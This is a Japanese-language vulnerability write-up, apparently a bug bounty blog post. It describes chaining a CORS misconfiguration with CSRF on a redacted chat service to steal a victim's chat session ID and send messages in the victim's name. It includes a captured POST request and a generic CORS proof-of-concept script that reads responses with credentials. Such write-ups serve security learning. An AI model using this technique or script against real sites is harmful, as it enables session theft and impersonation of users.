Hello there, ('ω')ノ
CORSでチャットセッションIDを盗んでCSRF攻撃の実行を。
脆弱性:
CSRF
CORSの設定ミス
記事:
今回は、CORSとCSRF攻撃を連鎖させて。
被害者ユーザのチャットセッションIDを盗んで。
被害者に代わってメッセージを送信する方法について説明することに。
仮にターゲットドメインをredacted.comとして、探索すると。
ターゲットドメインにはチャット機能が組み込まれていることがわかって。
新しいメッセージを送信するために。
システムは下記のようなPOSTリクエストを送信して。
POST /ha/chat/<Chat_Session_ID> HTTP/1.1
Host: redacted.com
User-Agent: XXXXX
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Host-Site: XXX
Content-Length: 75
Origin: XXXXX
Connection: close
Referer: XXXXXXX
{“content”:”HI”,”event”:”MESSAGE”,”clientSideSequence”:4,”role”:”CUSTOMER”}
さらに調査すると、このPOSTリクエストは。
CSRF攻撃に対して脆弱であることがわかったので。
攻撃者は、被害者のユーザに代わってメッセージを送信できるわけで。
さらに注意深く観察すると、下記のエンドポイントには。
被害者のチャットのセッションIDが含まれていて。
/ha/chat/<Chat_Session_ID>
セッションIDは、下記のような形式になります:
XXXXXX-CHAT_XXXXXXXXXX–XXXX-XXXX-XXXX-XXXXXXXXXXXX
あとは、被害者ユーザのチャットのセッションIDを盗む方法を見つけることだけで。
調査を続けると、被害者ユーザのチャットのセッションIDを作成するのに。
役立つエンドポイントに出くわして。
https://redacted.com/ha/chat/create
さらにこれに加えて、エンドポイントにはCORSおよびCSRF保護がなかったので。
CORS POCコードを作成して。
このエンドポイントがCORSに対して脆弱であることを確認することに。
CORS POCコード:
<html>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(‘GET/POST’,’<Vulnerable URL>’,true);
req.withCredentials = true;
req.send(‘{}’);
function reqListener() { alert(this.responseText); };
</script>
</html>
結論:
攻撃者は最初に被害者ユーザのチャットセッションIDを盗んで。
次にCSRF攻撃を実行して、被害者ユーザーとしてメッセージを送信して。
Best regards, (^^ゞ